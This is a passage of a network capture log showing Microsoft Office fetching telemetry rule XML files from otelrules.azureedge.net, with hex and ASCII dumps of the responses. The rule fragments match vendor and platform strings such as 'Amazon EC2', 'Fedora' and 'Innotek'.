2024-10-31 16:27:05 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:05 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: f3394f62-601e-0070-07f3-2aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162705Z-16849878b78p8hrf1se7fucxk80000000aq000000000a38y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 16:27:05 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	62870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:05 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:05 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:05 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162705Z-16849878b78j5kdg3dndgqw0vg0000000bc000000000x20a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:05 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	62874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:05 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:06 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:05 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 395fbb66-201e-003f-4179-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162705Z-16849878b78smng4k6nq15r6s40000000b5g00000000x8dz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:06 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	62875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:06 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:06 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:06 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162706Z-16849878b785dznd7xpawq9gcn0000000b2g00000000v3sw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:06 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	62878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:06 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:06 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 9f2c0728-901e-0015-1b2a-2bb284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162706Z-15b8d89586fnsf5zkvx8tfb0zc00000004vg00000000eqgx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:06 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	62876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:06 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:06 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: c9eb1821-401e-0015-1311-2b0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162706Z-15b8d89586fpccrmgpemqdqe5800000004pg0000000096xb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:06 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	62877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:06 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:06 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162706Z-15b8d89586f5s5nz3ffrgxn5ac0000000ae000000000g3zk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:06 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	62879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:06 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:06 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 6cea588d-401e-0015-2b7f-2a0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162706Z-17c5cb586f626sn8grcgm1gf80000000088g00000000aka7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:06 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	62881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:06 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:07 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9f4f074d-601e-00ab-77c7-2a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162707Z-159b85dff8fgb9pzhC1DFW7mkc00000001k000000000f8gs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:07 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	62882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:06 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:07 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:06 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162706Z-16849878b78hh85qc40uyr8sc800000009yg00000000ua5a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:07 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	62880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:06 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:06 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 5926a802-601e-0032-207f-2aeebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162706Z-16849878b7898p5f6vryaqvp580000000akg00000000k2ea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:07 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	62883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:06 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:07 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162707Z-16849878b785jrf8dn0d2rczaw0000000b0g0000000047gb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
